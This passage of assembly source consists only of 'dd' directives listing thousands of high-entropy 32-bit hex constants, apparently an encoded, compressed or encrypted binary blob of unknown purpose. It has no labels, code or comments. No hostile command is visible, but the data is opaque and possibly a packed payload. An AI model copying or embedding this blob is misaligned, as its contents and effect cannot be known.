		dd 0C82B6100h, 0C42FF781h, 0F56004B8h, 0AC89D18Bh, 94BA92BEh
		dd 0C0F4BBB6h, 0E72302F0h, 0DDEC6EB4h, 20105754h, 0AC05F2Ch
		dd 47C72CD9h, 3171B935h, 0E8398620h, 126DB41Bh,	5FE39047h
		dd 44307279h, 0D69D331Ah, 3E5A606h, 44E996E2h, 98791F59h
		dd 4B15CB44h, 6F24FAE2h, 2A8837ACh, 6AFCF98Fh, 0FE1611A5h
		dd 56024D04h, 26EF1CCh,	71285E82h, 874201E5h, 4DBD6723h
		dd 2FD80D4Ah, 70E415Bh,	40385D2h, 0EE056D17h, 35B014E7h
		dd 564B8921h, 0D42D2A9Dh, 8C0235A8h, 1979E077h,	8DF988EAh
		dd 6908B32Bh, 0DB810126h, 0C4569783h, 840CCB9h,	2FB109BFh
		dd 38707B8Dh, 8EA00E97h, 9C9C13B8h, 0F4D80007h,	8968B5F0h
		dd 0E8092D3Fh, 597580E0h, 0BD2B02FAh, 0DB560529h, 0E884C6DAh
		dd 2E4C002Fh, 5EC6687Ch, 42040B04h, 0B50160B2h,	8B45F4EFh
		dd 6461F825h, 96FBF0B6h, 8B26AB0h, 4E250DEDh, 735697ACh
		dd 0FEAE027Eh, 0FD8AC03Eh, 16D25Dh, 0B3B858A4h,	1A64C247h
		dd 0FF41840Fh, 0C7BA009Bh, 2653F91h, 0CB80E95Eh, 0B8565FB1h
		dd 0FC819856h, 0BDB9C515h, 0A8A69489h, 856DA378h, 0D8A0F1E7h
		dd 0EE122AE4h, 2D881E78h, 0BC97933h, 0D98A87B3h, 0D71B402h
		dd 0A0F3795Fh, 0A71A95B5h, 43C084EDh, 4CC002BEh, 70000B2Eh
		dd 0FF3E44F7h, 3109BFE1h, 59631CFBh, 542C4498h,	33DD12D7h
		dd 34886CB3h, 498939A4h, 46645945h, 0BF03B1ECh,	54C04FC9h
		dd 4AF07160h, 2427C905h, 54820890h, 78B72318h, 0BA0037C5h
		dd 33E48BD7h, 921A7D9Dh, 1DCF04C1h, 0AD4C53F2h,	7FD7273Fh
		dd 0A10C92BDh, 0FB21B6A7h, 0E5272222h, 33C6408Bh, 401D1A95h
		dd 80256167h, 7D65B529h, 38C4500Dh, 4C54017h, 0E1823895h
		dd 4AD96B45h, 80A1DBA8h, 68ECFB13h, 0E9CB178Fh,	6EE3054Eh
		dd 34C7C019h, 0C83E7024h, 0A9745EF6h, 17238B2Eh, 747E2202h
		dd 409E74FFh, 6DC2866Ch, 0F20F2609h, 0A0AD516Ah, 1E35259Ah
		dd 7EFC99F5h, 3F344E8h,	24A24008h, 33FAB862h, 90F9EFCAh
		dd 0BAB5FDA5h, 6D7A7280h, 4A4EA00Eh, 0C46A17D4h, 0C0BCA9A9h
		dd 0FA7FB11Bh, 0CEDC04A7h, 0EBF30A0Fh, 0CDC68880h, 47BA09C7h
		dd 0BE5362A3h, 4D1FF7A5h, 33957880h, 2A6685Ch, 9D31FF42h
		dd 890421EDh, 541649C2h, 0F15D5AC2h, 0E029F856h, 67BFB02h
		dd 6F89DD61h, 0C8E140D5h, 0E6289C58h, 0D924E4D5h, 74527E09h
		dd 18E2DC43h, 0F5D3F625h, 4461802h, 589BDB77h, 0F204D6DAh
		dd 0EA53200Bh, 0B9B9D784h, 6550961Ch, 206114FDh, 96E65F53h
		dd 0D689FE95h, 5D04EDE0h, 9EACF2F1h, 0B510A2ACh, 0E9312626h
		dd 4A400113h, 0BF1408EFh, 0EF359539h, 0E2801B91h, 0F57D75CEh
		dd 6CD1BB15h, 0EF68019Fh, 60332E95h, 43611092h,	319610F9h
		dd 3BC3A2DCh, 7521008Fh, 32577986h, 0AC433B4Ch,	0E4E60D00h
		dd 858D7E68h, 467E39BCh, 5FD1315h, 289DFF0Eh, 0DA810013h
		dd 4B3D65DEh, 26DC6158h, 0B7AD7DFAh, 0E8B804C7h, 860C4005h
		dd 27ABD262h, 5F498D29h, 5873365Bh, 1F491076h, 5324D48h
		dd 0E67B6119h, 0D4817F71h, 0AEE79EEBh, 0EC80E95Fh, 9E955B9Ch
		dd 0D8F4970Bh, 64652F7Eh, 385BDC94h, 0D2B98A20h, 0FC730D36h
		dd 3B1647E9h, 1CB88AF9h, 6E20C26h, 23F9B50Bh, 70870F75h
		dd 9AFC4A25h, 8C1DF8EBh, 2B0FD500h, 66A4BD1Bh, 9959277Fh
		dd 235B91D5h, 0AC289F5h, 6E1D1F32h, 15CD4206h, 822F9BE5h
		dd 20429DEh
		dd 0E496FD8Ah, 901F1A6Bh, 17709616h, 0CDF1D0F5h, 3BA93AFAh
		dd 0CA1FAAACh, 17569DF6h, 53D87D09h, 1FF7A5B0h,	0BC5881CBh
		dd 97A2977Ah, 0F7CDF852h, 0EB18501h, 0C0D8BC3Ah, 0FF1F5F97h
		dd 574F0F29h, 51A0A638h, 50F30C3Bh, 61B2BC17h, 95D98217h
		dd 0AC7BA93Ah, 0BB664B1Eh, 6A926B30h, 99AC13E3h, 0E0F296h
		dd 885BE1FAh, 0C889EBh,	9335F770h, 50D607C6h, 96C5B713h
		dd 977DE50Fh, 120BC39Ch, 0A72549BDh, 0C3815B9Bh, 8A59D298h
		dd 87F02B36h, 65040C75h, 1E629A0Dh, 68D891A8h, 0E84A72E3h
		dd 0F6EF9594h, 0E97AF018h, 0B1030926h, 0F5663A57h, 0B6E0A2ADh
		dd 2D03891h, 0A182437Ah, 0BE54392Ah, 46B7893Fh,	0B5BC505Bh
		dd 0F90024B7h, 0F6D8293Eh, 0AE990193h, 1BD0916h, 0E2F6050Fh
		dd 176EFB7Ch, 0BEDBC430h, 0A700E5A6h, 9CF11F91h, 84122249h
		dd 6488E109h, 6256003Bh, 0D7B731C2h, 0B2CE5FBEh, 2BDFE90Fh
		dd 804ABDCCh, 110F9B47h, 0A75A8C85h, 0F4157682h, 3E04E9DAh
		dd 19C85614h, 0B37A26A0h, 1F750344h, 0D3907DB5h, 0C024BB7Eh
		dd 622099E1h, 94468F01h, 9C4F68CBh, 0D6652C8h, 5BB850BBh
		dd 3B0D61A2h, 8DC2E0B8h, 2308293Dh, 0C52B0180h,	0EC4617h
		dd 0BEBF6375h, 5B33382Ch, 21603395h, 8B2F01C6h,	8091B7C3h
		dd 0E8B26D96h, 3927AB7Fh, 101E4A9h, 0DCDFC059h,	0F79E8C06h
		dd 0A2F0A8E4h, 0B829250Dh, 865089FEh, 8AF9F90Dh, 0EE89ED5Dh
		dd 2AFD9661h, 860FF00Dh, 0BD1710BDh, 9D164A71h,	0DE795BE4h
		dd 9DBE8Bh, 0C271AFBCh,	0B05DA45Eh, 0CC18093Eh,	0A591999h
		dd 0C0C24DA7h, 0D27E58BAh, 223D2F48h, 11E82217h, 0CDD82600h
		dd 9448E619h, 23F885h, 0F476A196h, 5BAD9A86h, 4E2F9495h
		dd 0B97ABE99h, 9FAB812h, 3005DBBBh, 0A8AD9495h,	0EBB6D752h
		dd 0F76863E0h, 846A1D00h, 60B3DE91h, 0E38E520Fh, 0C4440B2Fh
		dd 91958915h, 3DC15AE3h, 0A80424C1h, 54DB4B8Ch,	4FD5FB92h
		dd 28816885h, 66000345h, 214AEBBFh, 330B8FCBh, 0E1C945BDh
		dd 62172BDAh, 34E03AB6h, 0C14B8B59h, 1B26BFAh, 0D7F8FBBFh
		dd 60E55679h, 4880366Ch, 0C93B7C4Fh, 4965D001h,	0DA1FD499h
		dd 239E6B2Bh, 204C0217h, 0EF625D8Ah, 0EF42D7C2h, 44E8EA66h
		dd 0EA4DD200h, 0E84E2CE3h, 9846020Bh, 5750AB55h, 20DF0061h
		dd 244F0439h, 0F505AE6Eh, 0E96A01C6h, 160FBCBAh, 4B502C0Dh
		dd 53908927h, 783D5EBBh, 103B5CFEh, 99401709h, 0ADC03BE9h
		dd 39BD2B05h, 506F40Ah,	0C309E798h, 80509071h, 2567BFEEh
		dd 23315F0Fh, 32B0CE3Ah, 2B00047Eh, 65B8BABEh, 70584CE1h
		dd 5F20710h, 845ACBFEh,	5AF4EF50h, 8BB1000Fh, 23C1412Eh
		dd 3E07E046h, 42C89BB2h, 53900DA1h, 8AF9A83Ah, 0BE4C895Bh
		dd 0BB054F6Dh, 94364029h, 0EA68C0B0h, 3AF97004h, 2C160CBh
		dd 943D1261h, 7A241510h, 77849A95h, 0E45955DBh,	10809E0h
		dd 97842006h, 0ECBB583Ch, 6617C514h, 1CDBD1FFh,	6135DD80h
		dd 0A2098D72h, 59A11B6Fh, 425144C1h, 615EB060h,	0A2502D6Fh
		dd 2BDC8A61h, 78A1026Ah, 0F50ED794h, 933628ADh,	0A616504h
		dd 8A209009h, 5B65EDBBh, 49DE41F1h, 80447202h, 0D682E381h
		dd 0E9352EA8h, 0F345251Ah, 0F7C0F389h, 2AE3936Dh, 0D4C7E966h
		dd 0E0E96DDEh, 72981DEDh, 122EDE39h, 0F9B3FBB2h, 0B968B341h
		dd 842F9CBh, 6062FBFCh,	0D29F4361h, 47FB5680h, 443422BBh
		dd 1D2430DEh, 251CC224h, 6B29560h, 10C94C40h, 29E14595h
		dd 0ECF687AEh, 38977045h, 145C0B66h, 5BBF0750h,	0F7F9EABEh
		dd 0FB946DCCh, 9B8F8D4h, 51F090BFh, 0D6800B80h,	0FFA0FF6Ah
		dd 68961F09h, 0BD31718Bh, 0EBC580D1h, 0DBABF1D4h, 80A1CB00h
		dd 0A2BFDEC7h, 795025BCh, 1E4536CCh, 6780B768h,	0D912563h
		dd 200E09Ah, 0F4C5F662h, 7B9D5AFh, 9CDAEE5Ch, 70E602B0h
		dd 8C58795Fh, 0BCB2195h, 237D9D10h, 0E443E42Fh,	495C0CFAh
		dd 2608DF67h, 95DDA2E5h, 23024E89h, 0D17D0C05h,	0BB53877Ch
		dd 52671147h, 4192615Bh, 2E210D8Eh, 0B5892E20h,	88284B05h
		dd 0EB85128h, 18087D20h, 9EC82B5Fh, 8B811CB9h, 0F5C5042Fh
		dd 93E90615h, 93BFB71h,	241808BCh, 81802CB1h, 51C09CBh
		dd 2706257h, 0DA6E88B0h, 0FAB4120Ch, 69E98813h,	64F00BD6h
		dd 9A06FFEDh, 7D330D20h, 0FF8D3461h, 88F3A803h,	6F8AA04Ch
		dd 68FDEDA5h, 0C8FE4E15h, 0A0001056h, 257CC1F0h, 62F55614h
		dd 60F8A6E6h, 0C100EEF1h, 977B4A7Fh, 74E109FDh,	83714398h
		dd 84289B00h, 1299A25Fh, 961587Fh, 0F271953Ah, 73DEB709h
		dd 380D0915h, 0E1BD4DDDh, 64DED948h, 9D049E78h,	8C0F0A1Ch
		dd 7B28CE89h, 0C7FF829Fh, 8080479Ch, 5F5B511Fh,	0C634A790h
		dd 29AC7EA8h, 0A22B85D7h, 3E0100AFh, 949F77E1h,	0FC7D00D2h
		dd 493202B0h, 1D0DAD68h, 7753B9D8h, 15F1BF66h, 0C8ACF879h
		dd 0EB13D2Fh, 5631893Bh, 0B37B4B68h, 2512FD70h,	62912B56h
		dd 2A622151h, 95F74D1h,	28E894DFh, 1E83FC24h, 3A77A785h
		dd 0D40B7E59h, 8C6E9400h, 3AF40AC6h, 4B819738h,	33BA8799h
		dd 0C19D08B1h, 4A102813h, 0D659B6D9h, 803D06Bh,	60075686h
		dd 6159428Fh, 493AD054h, 8DCC4ABBh, 0CAD55A9Dh,	0F0BC4641h
		dd 97CC1FF6h, 28FF0190h, 1651800h, 263D8725h, 4C3C701Fh
		dd 4B7B0E6Eh, 46C18B04h, 2A13B0BAh, 76F20443h, 0B87B8607h
		dd 646DADA6h, 0D45DC8B8h, 493D27E1h, 2AC7B508h,	7E61CBh
		dd 31CC96C4h, 0FFFCB219h, 7D6A2C04h, 0E6EF1284h, 33A11270h
		dd 7C88E3E3h, 9AC047A4h, 7CD93AAh, 4D0908B2h, 69467C0Fh
		dd 58850A6Bh, 5FF816DAh, 91EA62B8h, 0BA956970h,	0D4CBF4D0h
		dd 8D0FA514h, 2D718462h, 23993FABh, 6FCE271Bh, 0C5D88B25h
		dd 3ECA11F2h, 4349B829h, 5282D2C8h, 505D8D89h, 8A5F4B53h
		dd 2B8735F5h, 0E8C9F89Bh, 0F690502h, 2D7440Bh, 0BE851BD3h
		dd 7951606Ch, 6F181479h, 1DB282B7h, 25375ED4h, 0B713F73h
		dd 1A6A2BAh, 0BCDF4436h, 0BCCB5956h, 0C8EB0439h, 0A1020732h
		dd 4D442E41h, 0C41E012Ch, 0AC9288BBh, 0D8FFD2AAh, 0B097FB85h
		dd 40E1B531h, 514F900Ch, 407A20BAh, 350080A0h, 0C7F1B836h
		dd 0ECF45D6Eh, 27D1EA2Bh, 9D40615Eh, 5BE90D9h, 435504DCh
		dd 811280C7h, 114DD92h,	6F7E6AF9h, 40EF4B81h, 2905ED41h
		dd 109A318Dh, 0C7FC684Ah, 0FA8BAB0Bh, 0D67460F8h, 6548E2Eh
		dd 0BCD300DEh, 40CF3EA7h, 0E824C2E3h, 6726C8AFh, 0E13D0C4Ch
		dd 0B03E757Fh, 70256DF3h, 97916C89h, 5202A035h,	82B96B56h
		dd 0A25E9A0h, 0FF0D153Bh, 243277Ah, 84F4375Dh, 0BCDA8ACAh
		dd 0B330D2A2h, 0F7D174h, 38A20C5Ch, 9271DF4Bh, 0E6673125h
		dd 8C37958Fh, 0F8D14904h, 0E17912AEh, 0EC976D97h, 8911028Bh
		dd 4798F8E6h, 0FA727FF8h, 50516595h, 7A139EBFh,	60F26C01h
		dd 0B45EB600h, 31B9E0B7h, 138D894Ch, 7AE1B195h,	0C8379A2Bh
		dd 2887C01Ch, 0D6720C30h, 0E3AEBC12h, 203B7AF1h, 59E53980h
		dd 0FC842700h, 0D0C6C249h, 2B523CF8h, 0F62EA601h, 6E08B919h
		dd 704C8320h, 0FEF0ABh,	0A02634B0h, 688AFD36h, 81018298h
		dd 5FD686E7h, 822B505Bh, 84F06CC1h, 0B2786693h,	70400CC6h
		dd 0D76030FFh, 0E6F70825h, 68FC026Bh, 1356F44Dh, 6C7A77h
		dd 5E91040Ch, 90FF107Dh, 0CD36B000h, 319AB237h,	0E87A057Fh
		dd 0E2820F77h, 0B3D8803Fh, 0AED767h, 8288ACC4h,	66169C68h
		dd 2E844907h, 78195FA4h
		dd 0F7B23D78h, 745F13A4h, 37001D46h, 4ABBB890h,	5EE49CCFh
		dd 888D35Fh, 9DA1041Fh,	0BCD573B5h, 730BCF92h, 9E90F7B4h
		dd 52510E31h, 5F5BDEA3h, 0B8CAB9D4h, 9397230h, 63CF8077h
		dd 40ABDADBh, 0B00D5558h, 3E61023Dh, 0E8DC7141h, 0B65C6E80h
		dd 73028EE0h, 659589E4h, 0FC00EA1Dh, 3610366h, 174B9DBDh
		dd 9A4F728Fh, 2C11805Bh, 4D6E574h, 0D3352FBBh, 0A396B836h
		dd 0AB354F4Eh, 200BB6Bh, 0ED6094E5h, 0AC3A56BDh, 42232E42h
		dd 0F8481A10h, 0E928455Ah, 19D1CC33h, 0EF600940h, 0E99057Ch
		dd 8E01F1BDh, 3261D93Fh, 5ABA90F3h, 0A200656Ah,	6CF5B4E4h
		dd 3A270180h, 0AE791083h, 0FE710F93h, 0D0E1959Fh, 6AF161D2h
		dd 99BF035h, 0D2C80BC0h, 1025D709h, 11AFE529h, 0EB8101B5h
		dd 8891E35h, 0A2C91D22h, 0A1257E44h, 80E9CE14h,	951181F3h
		dd 6DAD4165h, 0A4D7403Ah, 0B6B17AB0h, 0BB186E80h, 0EA88726Ah
		dd 12A672C5h, 0F752EEA4h, 1771109Fh, 3E859D4Bh,	0B5FC09F8h
		dd 836E9501h, 20D3F7EEh, 5700003Ah, 79FFF3BBh, 965B4212h
		dd 503962E8h, 0E6CADABBh, 0FFA3E030h, 4B4D278Dh, 0D9B28970h
		dd 91B13595h, 9541801Ch, 9B14652h, 0D5911DBCh, 37A5B779h
		dd 86D20096h, 0DF3B7A58h, 0C0DDA129h, 5A37DDA7h, 4ADBA14h
		dd 36310375h, 0E32B13BEh, 56134EDFh, 0C08EDABEh, 46EE5015h
		dd 4CEC94C5h, 0EC00D344h, 70CA5410h, 9D376319h,	0BDB0051Bh
		dd 4D9E2081h, 141546DEh, 10ECE208h, 892505D1h, 8975564h
		dd 0DEC5EDh, 9D60A4C7h,	0B0B313FEh, 0F194190h, 50270489h
		dd 975F61FCh, 8AEFFD10h, 533DE201h, 626B8111h, 0E8260A3Ah
		dd 9C1F408Eh, 0B4F0C63Fh, 0ED412204h, 0AC8103D4h, 5B020229h
		dd 0DB6B1374h, 0EAFB7049h, 0E57C0109h, 5B36C06Eh, 33099DB1h
		dd 0EE0051BFh, 6FB9D37h, 8B2F0BE1h, 1CE4EB9Ch, 7FDBEF07h
		dd 0D013B3E4h, 669B802Fh, 0EE3E0964h, 0E5796CC4h, 6319F2B7h
		dd 3F8C565Eh, 0B5D503F0h, 83B03B4Eh, 0EC284899h, 113504A5h
		dd 0A25DE835h, 982863BFh, 51D1818Bh, 0BC3BE726h, 3D01D2ECh
		dd 9FB661CFh, 0C2C05CFh, 24454248h, 80EFA831h, 747780D2h
		dd 0E6F37F46h, 0D5B117D1h, 2F72F1ABh, 0E8EA3851h, 674F0439h
		dd 0AEA75DF3h, 2E601868h, 90034EB5h, 0D2BA6813h, 126E2261h
		dd 7C255F0h, 571CF8DAh,	74B007Fh, 95B105h, 76B6BF3Ah, 81414AA3h
		dd 11028937h, 8E4251B7h, 385196h, 0DB4C2A52h, 8DA633BAh
		dd 0B442E7AFh, 0E5E78232h, 5A517411h, 0F9C2D977h, 0C2E6C8BFh
		dd 0D15B8797h, 8D6C0480h, 7101B336h, 2F921816h,	3B9064E4h
		dd 0F10079C8h, 5D445FD6h, 13B1DD02h, 0C7E05169h, 83D3C9A9h
		dd 49DAEDAFh, 0F856E3F5h, 27F327DBh, 6E612ED1h,	0B10B0321h
		dd 0BC041EEDh, 2435A277h, 0EF0DC052h, 5B137320h, 5AA7FA8Bh
		dd 8019DA4Bh, 5FA454CAh, 23D72702h, 2BF93E41h, 6A5AA28Fh
		dd 898E044Eh, 0D9B86585h, 50C4E34Bh, 3140B519h,	0F1D61CE9h
		dd 0C07267FFh, 0F120C14Bh, 0DD8611h, 0A7600E2Dh, 87AF3642h
		dd 0CA3B6700h, 0BB53DF1Dh, 0EB8EA007h, 5F792754h, 0DEAD0B4Eh
		dd 0E3092660h, 4DC42555h, 12CCA04h, 50E8CF80h, 132E7275h
		dd 0E0F6A6FBh, 1111874h, 89F3CED8h, 3717AD95h, 0AFF2F0AEh
		dd 0BAC82703h, 9B1BE310h, 2158B303h, 88BB2796h,	5C5CBEFh
		dd 8D01F0F7h, 5BC7B071h, 0D4F66A4Bh, 49C127F0h,	85036016h
		dd 2951C0ABh, 164BF99Dh, 4DD1A5D7h, 0A96AADD2h,	699FB80Eh
		dd 0DCD00686h, 0BB568097h, 1DE5CFFFh, 0DC669034h, 3050533Ch
		dd 3EE8EBEFh, 915C0A00h, 0A9D80266h, 2F8CEAB3h,	0E212907Eh
		dd 16ACB857h, 6EA6D73Dh, 32BB0031h, 0E710B528h,	4106135Bh
		dd 0F155E66Ah, 9A6BCE9Eh, 0C116C896h, 309A7C20h, 0BC026B1Dh
		dd 9D8B053Ah, 5E904A55h, 2235E973h, 80E5F28Fh, 5A9089A3h
		dd 6ED14BFFh, 5991002Fh, 0CD9B7D2Bh, 0FAFF40CAh, 0AA24BB04h
		dd 72E80BD7h, 0C92E43A2h, 603C5681h, 6AE422F3h,	0B5010212h
		dd 901677ADh, 7CC9AF51h, 8B135D3Ch, 8CC8EFDFh, 2B8F023Eh
		dd 726FE39Bh, 81F490D5h, 7E3C05C3h, 0D95B6921h,	0D93E434Dh
		dd 143DE9F9h, 57C464BDh, 19233ED2h, 0FCC0C21Fh,	50A2A439h
		dd 40C5BA57h, 5F165B2Ch, 6725830Fh, 0F5108DF8h,	0C6B80E1Fh
		dd 612E65B9h, 9D5460AEh, 90813341h, 0C5009923h,	0DAE12B8Dh
		dd 0BB00CB65h, 0D63B535Fh, 0F0506331h, 2F5B09DBh, 51B7904Dh
		dd 286E7881h, 0E42039E1h, 73C5B5FAh, 0BAB52Dh, 0F0D8D3EFh
		dd 70705BA9h, 467B122Dh, 0B5090B9Eh, 815C31E5h,	0D410FE72h
		dd 1027F51Eh, 0CAF92AB2h, 0E9B05E04h, 0E2516553h, 6B77E0EEh
		dd 2C88B469h, 0FF6A890Dh, 80703EF3h, 0DDE800E0h, 0CAEE4C6Fh
		dd 0BAB2D552h, 3D3F10B7h, 0E2E5950Ah, 234C0D11h, 6BD0AFC0h
		dd 7F004963h, 3EEB702h,	508842B9h, 90DA81C8h, 0F4D84A2Dh
		dd 0E1DDEFh, 2EB5C780h,	87770E6h, 0E40B1F4Dh, 7AD60071h
		dd 9D02CC25h, 0B9D1A925h, 3B8DC0A8h, 0CF59958h,	0BEB437BFh
		dd 249F859Ch, 0B9E85BD8h, 692BBA2Eh, 0C4B58FCh,	4E511023h
		dd 3FB28911h, 34CEA181h, 122FEB71h, 0CD4DA0B3h,	2BF0A3BDh
		dd 0DC819C8h, 2ED14B0Eh, 0FC09808Ch, 7FA4AA7Dh,	490B172h
		dd 0CB70F02Eh, 510A0114h, 0B2012F10h, 96DBD2Bh,	89E5896Bh
		dd 0D2E05232h, 271142B9h, 80565B4Bh, 5FE38BB4h,	0BC4E55CBh
		dd 3933B78Ch, 0F3CA3D9Dh, 0BD2384B0h, 346008C9h, 8A044E41h
		dd 4D8040C3h, 1131A50h,	0AD899F91h, 50B05E2Eh, 5F824DAAh
		dd 0FD00E137h, 8F60A666h, 0B3FE1A3Dh, 1075484Dh, 0C45731h
		dd 19E4DD47h, 837732Fh,	0B20B1401h, 5B340A06h, 2EBFDD2Bh
		dd 5703906Ah, 5DB9D107h, 13AC7748h, 78A63561h, 0A085F64Eh
		dd 97FD25F7h, 0FD02CA1Ah, 0FC04104Dh, 99B8BCA9h, 0F3C02B27h
		dd 14747039h, 996D470Ch, 8A1F9830h, 6E0910F9h, 5A398755h
		dd 4BC8BA50h, 4959004Fh, 0B52FAB45h, 2317EA0Dh,	230FBBE1h
		dd 85B883Ah, 2B092625h,	0CFF66DD2h, 9F676B40h, 369D3EB7h
		dd 50B1BBBCh, 8CFAF875h, 0AC2EE332h, 1C6D093Dh,	0AF0A43E0h
		dd 0AD852589h, 0DC5EDC42h, 2D089F4Ah, 3ABF0115h, 68223E6Eh
		dd 0F5F1D294h, 30AE352Fh, 87833DEDh, 5DE0FB09h,	7A97D186h
		dd 3D4F074h, 562198B2h,	0BAF2DF38h, 909E7070h, 13B75260h
		dd 7E149D5Fh, 42B6F45h,	0E86C4855h, 19B89667h, 0C1111380h
		dd 0FBE2D293h, 29E00D04h, 5B49E1B5h, 5DAD76D3h,	5081B59Fh
		dd 0E1FF15F7h, 1C88204Bh, 8B46BCC0h, 0C57D0A05h, 5E9C009h
		dd 0AE0F19BDh, 0D2ADFB38h, 78D50E61h, 856FA233h, 7ABA03B7h
		dd 0A3020298h, 6129E3EFh, 2C7F26AAh, 4F6986F8h,	8D510257h
		dd 0C1600416h, 2E21F92Bh, 0D26A8289h, 474DE94h,	0FF017089h
		dd 0C7E4F86Dh, 0F4D04EB8h, 76390EC0h, 0B71C907Ch, 0F5494A6Ch
		dd 0AD23D15Bh, 1A401AF8h, 800F2790h, 0D340E5D9h, 2D562233h
		dd 1955137Bh, 0CB285060h, 0A58D0109h, 4273DB12h, 0B5F99B78h
		dd 0E000F866h, 78EB894Ch, 0E24D8775h, 30C5B55Fh, 0B3535002h
		dd 74746311h, 5AE8B257h, 120AE3DAh, 666F58F8h, 72C9DD0Ah
		dd 0BE7D804Ch, 1DB6E394h, 0C7EE9312h, 6A4BCDB7h, 0FA3F77CEh
		dd 42F30238h, 0DD1BC259h, 0FD112122h, 9D20C3D8h, 7018A320h
		dd 0C4615E3Dh, 3DB6F14Bh, 14ABC7Ch, 0FC4CCCE3h,	3F01A2E9h
		dd 809C38DEh, 5C5B1563h, 0FB01FBFh, 4C6D025Ch, 8C495E19h
		dd 0F62D5EEAh
		dd 0F31E5024h, 0FDB8301h, 0EB73048Ah, 8D714E7Fh, 3A6E2F61h
		dd 0D93C260Fh, 0EF146744h, 58C58E0Bh, 0BD6DB5ECh, 0A5621464h
		dd 36B5D74h, 4B1DD1E1h,	5A31CA0Dh, 0DE3FBAh, 0FFF1C0ABh
		dd 9C0F35CBh, 32E2259Bh, 66F2F589h, 0BA0550B4h,	4BE096A4h
		dd 6EBD1029h, 0DC8A046Bh, 0D2F3585Ah, 0C054851Dh, 46320148h
		dd 3F77FE11h, 0F6380712h, 9DFB25B0h, 37ED0212h,	51A426E0h
		dd 0FA4B09D5h, 345C421Bh, 0B068DE00h, 0F07EAE31h, 4499BC82h
		dd 0CFABC30h, 1EB1324Fh, 6284BE83h, 5E0907A9h, 1C025568h
		dd 77665068h, 0E07C8892h, 12E71F13h, 0A97C544Ch, 443561E2h
		dd 23977B2Eh, 0DCE60217h, 745CCA5Fh, 24C21151h,	7D45FF85h
		dd 873221E9h, 2595DE05h, 807DE473h, 0E40734AFh,	0FF4AC6BBh
		dd 0D50149E1h, 100242Dh, 214AE595h, 61A3CBA7h, 630B73A0h
		dd 0DC02A97Eh, 0E19D3175h, 21C5D34h, 6E3EBE45h,	4F070413h
		dd 2B86E65h, 0B81F4282h, 0E4EBC2DEh, 0B9B044h, 1CFE9CD0h
		dd 0B79B4FBDh, 941D1102h, 4533FBD8h, 0A36D991Dh, 9EE67860h
		dd 0B6713B40h, 142CD23h, 7AC04ED4h, 0C449B5D3h,	8E20E255h
		dd 88DF001Dh, 0BD315864h, 61800B59h, 581595FCh,	8209BF42h
		dd 5E1E05DEh, 0F266E7CFh, 0E25CF383h, 7804F349h, 0B802F0C1h
		dd 0F7807E9Bh, 61BF5E97h, 38319509h, 90962D08h,	0AD113Eh
		dd 494ECF8Ch, 0CA84F5BCh, 0DAB0ECE0h, 3F83BA12h, 0B75F71B4h
		dd 880176C6h, 0F7434571h, 0F136968Eh, 3E0B60F0h, 0D1B54B09h
		dd 0B4E5A246h, 2B8B291h, 5EEB218Fh, 0FC7BE99Ah,	1775150h
		dd 252DEA8Fh, 473E187Bh, 0A12BB9C9h, 46D6AA56h,	0CC5C001Dh
		dd 0CD110717h, 4F9A17D8h, 13B23Eh, 0FFD0A33Dh, 72B5A850h
		dd 4D4929h, 0B1E65B25h,	0F340819Eh, 7773EFh, 6F0364F1h
		dd 0CE0AE012h, 5B3FCD12h, 600295F3h, 0FFD8501h,	0E90989C4h
		dd 7B615577h, 0AD7BA59Ch, 0FA069B50h, 31610292h, 8D296094h
		dd 0FA983B64h, 4A34E120h, 0EC70C961h, 3B008743h, 23921B2Ah
		dd 2C4608C9h, 0DCED8CFh, 2EF9017Dh, 8F6FBC12h, 3BBF4907h
		dd 9167B0A2h, 75F695Fh,	0C25AB020h, 0DE8401F9h,	0C1E44508h
		dd 72AEAD68h, 0B90997D0h, 52C0B6CDh, 17893D03h,	0A8292185h
		dd 0C9E3928Ah, 18B7C65Bh, 0A9352FE7h, 4BD3ED81h, 0F1427AB2h
		dd 319389F8h, 3C181671h, 0B96F952Fh, 0E0FA8012h, 0E9DA8A8Ch
		dd 1E6BD14Ch, 0A0239Bh,	0CD3F69A7h, 8D2EDDA6h, 0E114B33h
		dd 1814204Ah, 22FCD621h, 0D1D8DA09h, 6B9B7453h,	7DE70DEh
		dd 0FB914BFAh, 0B674099Ah, 121546D6h, 7AF2CB97h, 509D1388h
		dd 9EA989D2h, 6F1EA196h, 0C429E61Dh, 2BBDFC44h,	17A6BD3h
		dd 0D4162A5Ch, 0C81008E9h, 28050B7Ah, 0FB2EA594h, 1B23A36Eh
		dd 67A609h, 0DF56EE67h,	0E4E19792h, 31AE0514h, 2FF98A76h
		dd 34EF2C37h, 26B3120Eh, 668903F2h, 2DF636F4h, 7C79CAC8h
		dd 4B0C50AFh, 0E7DA70Dh, 16C65B50h, 9396DBBEh, 244B37A2h
		dd 0AC3790F4h, 2F01CEBCh, 2B1141Eh, 3D2F5EE9h, 0A8777934h
		dd 0E3CA0079h, 0BEB6024Ch, 7A2F041Fh, 24281060h, 0E3300005h
		dd 1D9AD6F2h, 21F4372Fh, 0BBB92A1Fh, 6260C7A4h,	38B644h
		dd 2A0110BFh, 0FDC48519h, 585A8007h, 31158D8Bh,	2C2530F9h
		dd 37B597D0h, 4062C52h,	0B1A24BBDh, 2EC1C9A9h, 0D682BC9Bh
		dd 325D8BBBh, 5DB24088h, 0CBDE8233h, 0B2310A25h, 5C25BD0Bh
		dd 21286FCBh, 1D1BF40h,	4E3D6266h, 3D55E278h, 0DB2E008Fh
		dd 4D5C062Ch, 38CB4409h, 0FF9C427Ah, 8C057211h,	0B7175182h
		dd 8A29E4B5h, 5D218C84h, 258852D2h, 80330099h, 0EB3EABCEh
		dd 2E00E1B7h, 0B27E383Fh, 4E7D0DBh, 0F5FEF9Bh, 136B8431h
		dd 7C9EFFDFh, 0BB6AC985h, 8B2F20E2h, 11F4B64h, 0DF6D599Dh
		dd 0CC2D9137h, 897CB785h, 870FF541h, 88C4463Ch,	0D6DAB8A2h
		dd 832EAECh, 46D3D17Dh,	0A32CC070h, 269D91BCh, 22EA8E6Bh
		dd 6C237DB7h, 0A0921B8Dh, 26AAA16h, 833F966Fh, 1288ED2Dh
		dd 0C1254274h, 6826E7Ch, 0B344FDCh, 1E004344h, 0F43CD313h
		dd 4F276B84h, 0F6181176h, 78BF902Bh, 4CE66D21h,	151FE22Ch
		dd 3C2C1960h, 286FA9Fh,	0BD33E62Fh, 0C5552811h,	374DA78Ah
		dd 16C54840h, 95337F1Dh, 0FA1A1A5Bh, 712B5C84h,	69CD2582h
